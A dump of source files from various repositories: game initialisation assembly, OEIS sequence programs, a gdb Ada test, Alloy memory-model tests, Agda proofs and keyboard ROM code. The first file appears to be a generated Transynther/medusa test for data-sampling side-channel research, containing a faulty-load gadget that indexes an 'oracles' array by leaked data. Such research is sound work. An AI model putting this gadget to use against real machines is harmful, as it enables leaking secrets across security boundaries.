max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1_1260.asm | ljhsiun2/medusa | 9 | 16898 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x412b, %r15
nop
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %r14
movq %r14, (%r15)
nop
nop
nop
add $47935, %r8
lea addresses_normal_ht+0x153e4, %rsi
lea addresses_WT_ht+0x727, %rdi
nop
nop
nop
cmp %rbp, %rbp
mov $80, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_A_ht+0x8857, %r15
nop
nop
dec %rdi
mov (%r15), %r11w
nop
nop
nop
nop
dec %rbp
lea addresses_WT_ht+0x1ce17, %rsi
lea addresses_UC_ht+0x1427, %rdi
clflush (%rdi)
nop
add $41785, %r8
mov $23, %rcx
rep movsl
sub $27866, %r14
lea addresses_normal_ht+0x11008, %rsi
lea addresses_D_ht+0x1b5a, %rdi
nop
nop
nop
sub $20527, %r8
mov $74, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_D_ht+0x9627, %rbp
nop
nop
nop
nop
nop
cmp $63361, %rsi
movb $0x61, (%rbp)
nop
nop
nop
nop
sub $49555, %r15
lea addresses_D_ht+0x1efa7, %rsi
lea addresses_UC_ht+0x19a27, %rdi
nop
nop
nop
nop
add $9625, %r15
mov $98, %rcx
rep movsw
nop
nop
nop
xor $60328, %r11
lea addresses_A_ht+0x17daf, %rsi
nop
nop
nop
nop
nop
cmp $37316, %r14
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
xor $49862, %r11
lea addresses_A_ht+0x1003f, %r15
add %rsi, %rsi
movb $0x61, (%r15)
nop
nop
add $7232, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r15
push %rbp
push %rdi
// Store
lea addresses_D+0x8a17, %r14
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%r14)
nop
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_UC+0x1f1ff, %rdi
nop
nop
inc %rbp
movb $0x51, (%rdi)
// Exception!!!
nop
nop
mov (0), %rdi
nop
sub $8346, %r13
// Store
lea addresses_A+0x1dda3, %rdi
nop
inc %r15
mov $0x5152535455565758, %rbp
movq %rbp, (%rdi)
nop
nop
nop
sub $49741, %r11
// Load
lea addresses_D+0x166d4, %rbp
clflush (%rbp)
nop
nop
inc %r11
mov (%rbp), %r13
nop
dec %r14
// Store
lea addresses_WT+0x2557, %r14
nop
nop
nop
nop
xor $50496, %r13
movb $0x51, (%r14)
cmp %rdi, %rdi
// Store
lea addresses_A+0x1de27, %rbp
nop
add %r14, %r14
movl $0x51525354, (%rbp)
nop
dec %r11
// Faulty Load
lea addresses_A+0x1de27, %r15
cmp %r13, %r13
mov (%r15), %r14w
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'54': 1}
54
*/
|
init.asm | adkennan/BurgerMayhem | 0 | 169769 |
INIT_SYSTEM
lda #GS_TITLE
sta G_GAME_STATE
jsr FADE_OUT
jsr CLEAR_SCREEN
sei
; Disable Kernal and Basic ROM
lda #CPUPORT_VAL
sta CPUPORT
; Set up our own interrupt handler
lda #<IRQ
sta NMISR
sta ISR
lda #>IRQ
sta NMISR
sta ISR
; Clear CIA timers
lda #DXICR_CLEAR
sta D1ICR
sta D2ICR
lda D1ICR
lda D2ICR
cli
; Hide border garbage
lda #$FF
sta BORDER_PAT_LOC
; Switch to video bank 1
lda #D2PRA_BANK1
sta D2PRA
rts
IRQ
rti |
gdb/testsuite/gdb.ada/scalar_storage/storage.adb | greyblue9/binutils-gdb | 1 | 3164 | -- Copyright 2019-2021 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
with Pck; use Pck;
with System.Storage_Elements; use System.Storage_Elements;
procedure Storage is
subtype Some_Range is Natural range 0..127;
subtype Another_Range is Natural range 0..15;
type Rec is record
Value : Some_Range;
Another_Value : Another_Range;
end record;
for Rec use record
Value at 0 range 0..6;
Another_Value at 0 range 7..10;
end record;
type Rec_LE is new Rec;
for Rec_LE'Bit_Order use System.Low_Order_First;
for Rec_LE'Scalar_Storage_Order use System.Low_Order_First;
type Rec_BE is new Rec;
for Rec_BE'Bit_Order use System.High_Order_First;
for Rec_BE'Scalar_Storage_Order use System.High_Order_First;
V_LE : Rec_LE;
V_BE : Rec_BE;
begin
V_LE := (126, 12);
V_BE := (126, 12);
Do_Nothing (V_LE'Address); -- START
Do_Nothing (V_BE'Address);
end Storage;
|
programs/oeis/080/A080923.asm | neoneye/loda | 22 | 177703 | ; A080923: First differences of A003946.
; 1,3,8,24,72,216,648,1944,5832,17496,52488,157464,472392,1417176,4251528,12754584,38263752,114791256,344373768,1033121304,3099363912,9298091736,27894275208,83682825624,251048476872,753145430616,2259436291848,6778308875544,20334926626632,61004779879896,183014339639688,549043018919064,1647129056757192,4941387170271576,14824161510814728,44472484532444184,133417453597332552,400252360791997656,1200757082375992968,3602271247127978904,10806813741383936712,32420441224151810136,97261323672455430408,291783971017366291224,875351913052098873672,2626055739156296621016,7878167217468889863048,23634501652406669589144,70903504957220008767432,212710514871660026302296,638131544614980078906888,1914394633844940236720664,5743183901534820710161992,17229551704604462130485976,51688655113813386391457928,155065965341440159174373784,465197896024320477523121352,1395593688072961432569364056,4186781064218884297708092168,12560343192656652893124276504,37681029577969958679372829512,113043088733909876038118488536,339129266201729628114355465608,1017387798605188884343066396824,3052163395815566653029199190472,9156490187446699959087597571416,27469470562340099877262792714248,82408411687020299631788378142744,247225235061060898895365134428232,741675705183182696686095403284696,2225027115549548090058286209854088,6675081346648644270174858629562264,20025244039945932810524575888686792,60075732119837798431573727666060376,180227196359513395294721182998181128,540681589078540185884163548994543384
mov $1,3
pow $1,$0
mul $1,8
div $1,3
sub $1,1
div $1,3
add $1,1
mov $0,$1
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_at.asm | meesokim/z88dk | 0 | 81130 |
; int b_vector_at(b_vector_t *v, size_t idx)
SECTION code_adt_b_vector
PUBLIC b_vector_at
EXTERN b_array_at
defc b_vector_at = b_array_at
|
src/sound/alarm_musics/alarm_one/channel3.asm | Gegel85/RunnerGB | 0 | 1496 | musicChan3AlarmOneTheme::
repeat 4
setRegisters $80, $00, $00, $AC, $85
stopMusic
continue
.loop:
wait 0
jump .loop
|
generated/simple_webapps-commands-append_servers-server_hash.adb | faelys/simple-webapps | 1 | 17976 | <filename>generated/simple_webapps-commands-append_servers-server_hash.adb<gh_stars>1-10
with Interfaces; use Interfaces;
package body Simple_Webapps.Commands.Append_Servers.Server_Hash is
P : constant array (0 .. 1) of Natural :=
(1, 11);
T1 : constant array (0 .. 1) of Unsigned_8 :=
(10, 12);
T2 : constant array (0 .. 1) of Unsigned_8 :=
(15, 5);
G : constant array (0 .. 15) of Unsigned_8 :=
(0, 0, 0, 0, 0, 1, 0, 0, 2, 0, 0, 3, 4, 0, 4, 0);
function Hash (S : String) return Natural is
F : constant Natural := S'First - 1;
L : constant Natural := S'Length;
F1, F2 : Natural := 0;
J : Natural;
begin
for K in P'Range loop
exit when L < P (K);
J := Character'Pos (S (P (K) + F));
F1 := (F1 + Natural (T1 (K)) * J) mod 16;
F2 := (F2 + Natural (T2 (K)) * J) mod 16;
end loop;
return (Natural (G (F1)) + Natural (G (F2))) mod 7;
end Hash;
end Simple_Webapps.Commands.Append_Servers.Server_Hash;
|
programs/oeis/234/A234046.asm | jmorken/loda | 1 | 87936 | ; A234046: Period 7: repeat [0, 1, -1, 0, 0, -1, 1].
; 0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1,0,1,-1,0,0,-1,1
lpb $0
sub $0,7
lpe
pow $0,2
lpb $0
div $0,9
sub $0,1
lpe
mov $1,$0
|
src/test/java/com/anqiansong/Antlr.g4 | anqiansong/CommentShell | 8 | 2385 | grammar Antlr;
//x:generate echo hello g4
|
alloy4fun_models/trashltl/models/19/5NdBmFo62S4zckgT4.als | Kaixi26/org.alloytools.alloy | 0 | 3425 | <gh_stars>0
open main
pred id5NdBmFo62S4zckgT4_prop20 {
always all t: File | t not in Protected since t in Trash
}
pred __repair { id5NdBmFo62S4zckgT4_prop20 }
check __repair { id5NdBmFo62S4zckgT4_prop20 <=> prop20o } |
programs/oeis/211/A211322.asm | jmorken/loda | 1 | 163698 | ; A211322: Number of (n+1) X (n+1) -3..3 symmetric matrices with every 2 X 2 subblock having sum zero and one or two distinct values.
; 11,15,21,31,47,73,115,183,293,471,759,1225,1979,3199,5173,8367,13535,21897,35427,57319,92741,150055,242791,392841,635627,1028463,1664085,2692543,4356623,7049161,11405779,18454935,29860709,48315639,78176343,126491977,204668315,331160287,535828597,866988879,1402817471,2269806345,3672623811,5942430151,9615053957,15557484103,25172538055,40730022153,65902560203,106632582351,172535142549,279167724895,451702867439,730870592329,1182573459763,1913444052087,3096017511845,5009461563927,8105479075767,13114940639689,21220419715451,34335360355135,55555780070581,89891140425711,145446920496287,235338060921993,380784981418275,616123042340263,996908023758533,1613031066098791,2609939089857319,4222970155956105,6832909245813419
mov $1,6
mov $2,4
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
add $1,5
|
RefactorAgdaEngine/Test/Tests/input/ExtractCaseSplit.agda | omega12345/RefactorAgda | 5 | 13648 | module ExtractCaseSplit where
open import Data.Maybe
open import Agda.Builtin.Bool
not : Bool -> Bool
not true = false
not false = true
func : Maybe Bool -> Bool
func nothing = false
func (just x) = not x
open import Data.List
func2 : List Bool -> Bool
func2 [] = true
func2 (x ∷ x₁) = not (func2 x₁)
|
programs/oeis/088/A088227.asm | neoneye/loda | 22 | 25501 | ; A088227: Solutions x to x^n == 7 mod 13.
; 2,6,7,11,15,19,20,24,28,32,33,37,41,45,46,50,54,58,59,63,67,71,72,76,80,84,85,89,93,97,98,102,106,110,111,115,119,123,124,128,132,136,137,141,145,149,150,154,158,162,163,167,171,175,176,180,184,188,189,193
mov $1,$0
add $1,2
div $1,4
sub $1,$0
sub $0,$1
mov $2,$1
mul $2,2
sub $2,$0
mov $0,2
sub $0,$2
|
OldBasicILP/Syntax/Translation.agda | mietek/hilbert-gentzen | 29 | 1814 | <filename>OldBasicILP/Syntax/Translation.agda
module OldBasicILP.Syntax.Translation where
open import Common.Context public
import OldBasicILP.Syntax.ClosedHilbertSequential as CHS
import OldBasicILP.Syntax.ClosedHilbert as CH
-- Translation from closed Hilbert-style sequential to closed Hilbert-style.
mutual
chsᵀ→chᵀ : CHS.Ty → CH.Ty
chsᵀ→chᵀ (CHS.α P) = CH.α P
chsᵀ→chᵀ (A CHS.▻ B) = chsᵀ→chᵀ A CH.▻ chsᵀ→chᵀ B
chsᵀ→chᵀ (p CHS.⦂ A) = chsᴾ→chᴾ p CH.⦂ chsᵀ→chᵀ A
chsᵀ→chᵀ (A CHS.∧ B) = chsᵀ→chᵀ A CH.∧ chsᵀ→chᵀ B
chsᵀ→chᵀ CHS.⊤ = CH.⊤
chsᴾ→chᴾ : ∀ {Ξ A} → CHS.Proof Ξ A → CH.Proof (chsᵀ→chᵀ A)
chsᴾ→chᴾ CHS.[ d ] = CH.[ chsᴰ→ch d top ]
chsᴰ→ch : ∀ {Ξ A} → CHS.⊢ᴰ Ξ → A ∈ Ξ → CH.⊢ (chsᵀ→chᵀ A)
chsᴰ→ch (CHS.mp i j d) top = CH.app (chsᴰ→ch d i) (chsᴰ→ch d j)
chsᴰ→ch (CHS.ci d) top = CH.ci
chsᴰ→ch (CHS.ck d) top = CH.ck
chsᴰ→ch (CHS.cs d) top = CH.cs
chsᴰ→ch (CHS.nec `d d) top = CH.box (chsᴰ→ch `d top)
chsᴰ→ch (CHS.cdist {Ξ} {A} {B} {`Ξ₁} {`Ξ₂} {`d₁} {`d₂} d) top = oops {A} {B} {`Ξ₁} {`Ξ₂} {`d₁} {`d₂}
chsᴰ→ch (CHS.cup d) top = CH.cup
chsᴰ→ch (CHS.cdown d) top = CH.cdown
chsᴰ→ch (CHS.cpair d) top = CH.cpair
chsᴰ→ch (CHS.cfst d) top = CH.cfst
chsᴰ→ch (CHS.csnd d) top = CH.csnd
chsᴰ→ch (CHS.unit d) top = CH.unit
chsᴰ→ch (CHS.mp i j d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.ci d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.ck d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cs d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.nec `d d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cdist d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cup d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cdown d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cpair d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.cfst d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.csnd d) (pop k) = chsᴰ→ch d k
chsᴰ→ch (CHS.unit d) (pop k) = chsᴰ→ch d k
-- FIXME: I can’t even postulate this.
-- postulate
-- ᴬlem₁ : ∀ {Ξ₁ Ξ₂ A B} {d₁ : CHS.⊢ᴰ Ξ₁ , A CHS.▻ B} {d₂ : CHS.⊢ᴰ Ξ₂ , A}
-- → chsᴰ→ch (CHS.appᴰ d₁ d₂) ≡ CH.app (chsᴰ→ch d₁ top) (chsᴰ→ch d₂ top)
postulate
oops : ∀ {A B Ξ₁ Ξ₂} {d₁ : CHS.⊢ᴰ Ξ₁ , A CHS.▻ B} {d₂ : CHS.⊢ᴰ Ξ₂ , A}
→ CH.⊢ chsᴾ→chᴾ CHS.[ d₁ ] CH.⦂ (chsᵀ→chᵀ A CH.▻ chsᵀ→chᵀ B) CH.▻
chsᴾ→chᴾ CHS.[ d₂ ] CH.⦂ chsᵀ→chᵀ A CH.▻
chsᴾ→chᴾ CHS.[ CHS.appᴰ d₁ d₂ ] CH.⦂ chsᵀ→chᵀ B
chs→ch : ∀ {A} → CHS.⊢ A → CH.⊢ (chsᵀ→chᵀ A)
chs→ch (Ξ , d) = chsᴰ→ch d top
-- Translation from closed Hilbert-style to closed Hilbert-style sequential.
mutual
chᵀ→chsᵀ : CH.Ty → CHS.Ty
chᵀ→chsᵀ (CH.α P) = CHS.α P
chᵀ→chsᵀ (A CH.▻ B) = chᵀ→chsᵀ A CHS.▻ chᵀ→chsᵀ B
chᵀ→chsᵀ (p CH.⦂ A) with chᴾ→chsᴾ p
chᵀ→chsᵀ (p CH.⦂ A) | (Ξ , p′) = p′ CHS.⦂ chᵀ→chsᵀ A
chᵀ→chsᵀ (A CH.∧ B) = chᵀ→chsᵀ A CHS.∧ chᵀ→chsᵀ B
chᵀ→chsᵀ CH.⊤ = CHS.⊤
chᴾ→chsᴾ : ∀ {A} → CH.Proof A → ∃ (λ Ξ → CHS.Proof Ξ (chᵀ→chsᵀ A))
chᴾ→chsᴾ CH.[ d ] with ch→chs d
chᴾ→chsᴾ CH.[ d ] | (Ξ , d′) = Ξ , CHS.[ d′ ]
ch→chs : ∀ {A} → CH.⊢ A → CHS.⊢ (chᵀ→chsᵀ A)
ch→chs (CH.app d₁ d₂) = CHS.app (ch→chs d₁) (ch→chs d₂)
ch→chs CH.ci = ∅ , CHS.ci CHS.nil
ch→chs CH.ck = ∅ , CHS.ck CHS.nil
ch→chs CH.cs = ∅ , CHS.cs CHS.nil
ch→chs (CH.box d) = CHS.box (ch→chs d)
ch→chs CH.cdist = ∅ , CHS.cdist CHS.nil
ch→chs CH.cup = ∅ , CHS.cup CHS.nil
ch→chs CH.cdown = ∅ , CHS.cdown CHS.nil
ch→chs CH.cpair = ∅ , CHS.cpair CHS.nil
ch→chs CH.cfst = ∅ , CHS.cfst CHS.nil
ch→chs CH.csnd = ∅ , CHS.csnd CHS.nil
ch→chs CH.unit = ∅ , CHS.unit CHS.nil
|
src/Categories/Category/Monoidal/Bundle.agda | Trebor-Huang/agda-categories | 279 | 8786 | {-# OPTIONS --without-K --safe #-}
-- Bundled version of Monoidal Category
module Categories.Category.Monoidal.Bundle where
open import Level
open import Categories.Category.Core using (Category)
open import Categories.Category.Monoidal.Core using (Monoidal)
open import Categories.Category.Monoidal.Braided using (Braided)
open import Categories.Category.Monoidal.Symmetric using (Symmetric)
record MonoidalCategory o ℓ e : Set (suc (o ⊔ ℓ ⊔ e)) where
field
U : Category o ℓ e
monoidal : Monoidal U
open Category U public
open Monoidal monoidal public
record BraidedMonoidalCategory o ℓ e : Set (suc (o ⊔ ℓ ⊔ e)) where
field
U : Category o ℓ e
monoidal : Monoidal U
braided : Braided monoidal
monoidalCategory : MonoidalCategory o ℓ e
monoidalCategory = record { U = U ; monoidal = monoidal }
open Category U public
open Braided braided public
record SymmetricMonoidalCategory o ℓ e : Set (suc (o ⊔ ℓ ⊔ e)) where
field
U : Category o ℓ e
monoidal : Monoidal U
symmetric : Symmetric monoidal
open Category U public
open Symmetric symmetric public
braidedMonoidalCategory : BraidedMonoidalCategory o ℓ e
braidedMonoidalCategory = record
{ U = U
; monoidal = monoidal
; braided = braided
}
open BraidedMonoidalCategory braidedMonoidalCategory public
using (monoidalCategory)
|
oeis/024/A024908.asm | neoneye/loda-programs | 11 | 103095 | ; A024908: Numbers k such that 9*k - 5 is prime.
; Submitted by <NAME>
; 2,4,8,12,16,18,22,24,26,32,38,42,46,52,56,64,68,72,74,82,84,86,88,92,96,98,108,114,116,122,126,134,138,144,148,154,156,162,164,166,172,176,178,186,192,194,196,198,204,208,222,224,226,232,238,254,264,266,284,296,298,302,304,306,308,312,318,334,336,338,346,352,354,358,362,364,368,372,374,382,386,394,396,402,404,416,422,428,436,448,456,462,472,474,478,492,494,502,506,508
mov $1,4
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,8
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,10
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,22
div $0,9
add $0,2
|
case-studies/performance/verification/alloy/ppc/tests/podrr005.als | uwplse/memsynth | 19 | 2302 | <filename>case-studies/performance/verification/alloy/ppc/tests/podrr005.als<gh_stars>10-100
module tests/podrr005
open program
open model
/**
PPC podrr005
"Fre SyncsWW Rfe SyncdRW Rfe SyncdRW Rfe PodRR"
Cycle=Fre SyncsWW Rfe SyncdRW Rfe SyncdRW Rfe PodRR
Relax=PodRR
Safe=Fre BCSyncsWW BCSyncdRW
{
0:r2=z;
1:r2=z; 1:r4=x;
2:r2=x; 2:r4=y;
3:r2=y; 3:r4=z;
}
P0 | P1 | P2 | P3 ;
li r1,1 | lwz r1,0(r2) | lwz r1,0(r2) | lwz r1,0(r2) ;
stw r1,0(r2) | sync | sync | lwz r3,0(r4) ;
sync | li r3,1 | li r3,1 | ;
li r3,2 | stw r3,0(r4) | stw r3,0(r4) | ;
stw r3,0(r2) | | | ;
exists
(z=2 /\ 1:r1=2 /\ 2:r1=1 /\ 3:r1=1 /\ 3:r3=0)
**/
one sig x, y, z extends Location {}
one sig P1, P2, P3, P4 extends Processor {}
one sig op1 extends Write {}
one sig op2 extends Sync {}
one sig op3 extends Write {}
one sig op4 extends Read {}
one sig op5 extends Sync {}
one sig op6 extends Write {}
one sig op7 extends Read {}
one sig op8 extends Sync {}
one sig op9 extends Write {}
one sig op10 extends Read {}
one sig op11 extends Read {}
fact {
P1.write[1, op1, z, 1]
P1.sync[2, op2]
P1.write[3, op3, z, 2]
P2.read[4, op4, z, 2]
P2.sync[5, op5]
P2.write[6, op6, x, 1]
P3.read[7, op7, x, 1]
P3.sync[8, op8]
P3.write[9, op9, y, 1]
P4.read[10, op10, y, 1]
P4.read[11, op11, z, 0]
}
fact {
z.final[2]
}
Allowed:
run { Allowed_PPC } for 5 int expect 1 |
rom/keyboard.asm | hisahi/ellipse1100 | 0 | 161816 | <gh_stars>0
; Ellipse Workstation 1100 (fictitious computer)
; ROM code (keyboard code)
;
; Copyright (c) 2020 <NAME> (hisahi)
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
;
; Written for the WLA-DX assembler
;
.BANK 1
.ORG $4000
.DEFINE KEYBIO $7010
; KEYCODETABLE, KEYB_APPLY_CAPS_TO_KEY in keytbls.asm
.DEFINE KEYB_TMP_NMI $0EEA
.DEFINE KEYB_NMI_TIMER $0EEC
.DEFINE KEYB_TMP3 $0EEE
.DEFINE KEYB_TMP2 $0EF0
.DEFINE KEYB_KEYDOWNX $0EF2
.DEFINE KEYB_TMP $0EF4
.DEFINE KEYB_NEWKEYPRESSED $0EF8
.DEFINE KEYB_NEWKEYPRESSEDL ($800000|KEYB_NEWKEYPRESSED)
.DEFINE KEYB_KEYDOWNTICKS $0EFA
.DEFINE KEYB_KEYMODIFIER1 $0EFC ; SC------ (shift, caps)
.DEFINE KEYB_KEYMODIFIER2 $0EFD ; CA------ (ctrl, alt)
.DEFINE KEYB_KEYDOWN $0EFE
.DEFINE KEYB_KEYDOWNL ($800000|KEYB_KEYDOWN)
; characters
.DEFINE KEYB_KEYCACHE $0F00
.MACRO ENTERKEYBRAM
PHB
PHD
ACC8
LDA #$00
PHA
PLB
ACC16
LDA #$0E00
TCD
.ENDM
.MACRO EXITKEYBRAM
PLD
PLB
.ENDM
; get currently pressed key in A
; supply value in A to check key repeat (higher value to repeat slower)
; supply value in X to apply new repeat value (if A=12, X=10
; means 2 ticks to repeat again)
; carry set if it is a new key
; A is set to be 8-bit!
KEYB_GET_PRESSED_KEY:
ACC8
CMP $800000|KEYB_KEYDOWNTICKS.L
BCS +
TXA
STA $800000|KEYB_KEYDOWNTICKS.L
SEC
BRA ++
+ LDA KEYB_NEWKEYPRESSEDL.L
ASL A
++ LDA KEYB_KEYDOWNL.L
RTS
; reset key data
KEYB_RESET_BUFFER:
PHP
AXY16
ENTERKEYBRAM
STZ KEYB_KEYMODIFIER1.W
STZ KEYB_KEYDOWN.W
STZ KEYB_KEYDOWNTICKS.W
STZ TEXT_CURSORTICKS.W
STZ KEYB_KEYDOWNX.W
DEC KEYB_KEYDOWNX.W
EXITKEYBRAM
PLP
RTS
KEYB_INC_NMI_TIMER:
PHP
ACC8
LDA #$01
STA KEYB_NMI_TIMER.L
PLP
RTS
; returns A 00000000ScCA0000
; Shift, caps, Ctrl, Alt
KEYB_GET_MODIFIERS:
PHP
ACC16
LDA #0
ACC8
LDA $800000|KEYB_KEYMODIFIER2.L
LSR A
LSR A
ORA $800000|KEYB_KEYMODIFIER2.L
PLP
RTS
KEYB_UPDATE_KEYS:
PHP
AXY16
ENTERKEYBRAM
DEC KEYB_NMI_TIMER&$FF.B
BRA KEYB_UPDATE_KEYS_IMMEDIATE@INNER
; updates key buffers
; X, Y preserved, A clobbered
KEYB_UPDATE_KEYS_IMMEDIATE:
PHP
AXY16
ENTERKEYBRAM
@INNER:
PHX
PHY
STZ KEYB_NEWKEYPRESSED&$FF.B ; set "new key pressed" to 0
STZ KEYB_KEYMODIFIER1&$FF.B ; also KEYB_KEYMODIFIER2
LDA #0
ACC8
LDA KEYB_NMI_TIMER&$FF.B
STA KEYB_TMP_NMI&$FF.B
; update modifiers (Ctrl, Shift, Alt, caps)
LDA KEYBIO.W ; bit 3 = Ctrl, bit 4 = LSh,
; bit 5 = Caps
ASL A
ASL A
ASL A
BCC @NOCAPS ; C = caps
PHA
LDA KEYB_KEYMODIFIER1&$FF.B
ORA #$40 ; caps: KM1 |= 0x40
STA KEYB_KEYMODIFIER1&$FF.B
PLA
@NOCAPS:
ASL A
BCC @NOLSHIFT ; C = left shift
PHA
LDA KEYB_KEYMODIFIER1&$FF.B
ORA #$80 ; shift: KM1 |= 0x80
STA KEYB_KEYMODIFIER1&$FF.B
PLA
@NOLSHIFT:
ASL A
BCC @NOCTRL ; C = ctrl
LDA KEYB_KEYMODIFIER2&$FF.B
ORA #$80 ; ctrl: KM2 |= 0x80
STA KEYB_KEYMODIFIER2&$FF.B
@NOCTRL:
LDA KEYBIO+1.W ; bit 5 = LAlt
AND #$20
BEQ @NOLALT
LDA KEYB_KEYMODIFIER2&$FF.B
ORA #$40 ; alt: KM2 |= 0x40
STA KEYB_KEYMODIFIER2&$FF.B
BRA @NORALT
@NOLALT:
LDA KEYBIO+11 ; bit 5 = RAlt
AND #$20
BEQ @NORALT
LDA KEYB_KEYMODIFIER2&$FF.B
ORA #$40 ; alt: KM2 |= 0x40
STA KEYB_KEYMODIFIER2&$FF.B
@NORALT:
LDA KEYBIO+13 ; bit 4 = Rshift
AND #$10
BEQ @NORSHIFT
LDA KEYB_KEYMODIFIER1&$FF.B
ORA #$80 ; shift: KM1 |= 0x80
STA KEYB_KEYMODIFIER1&$FF.B
@NORSHIFT:
; update main keyboard cache
ACC8
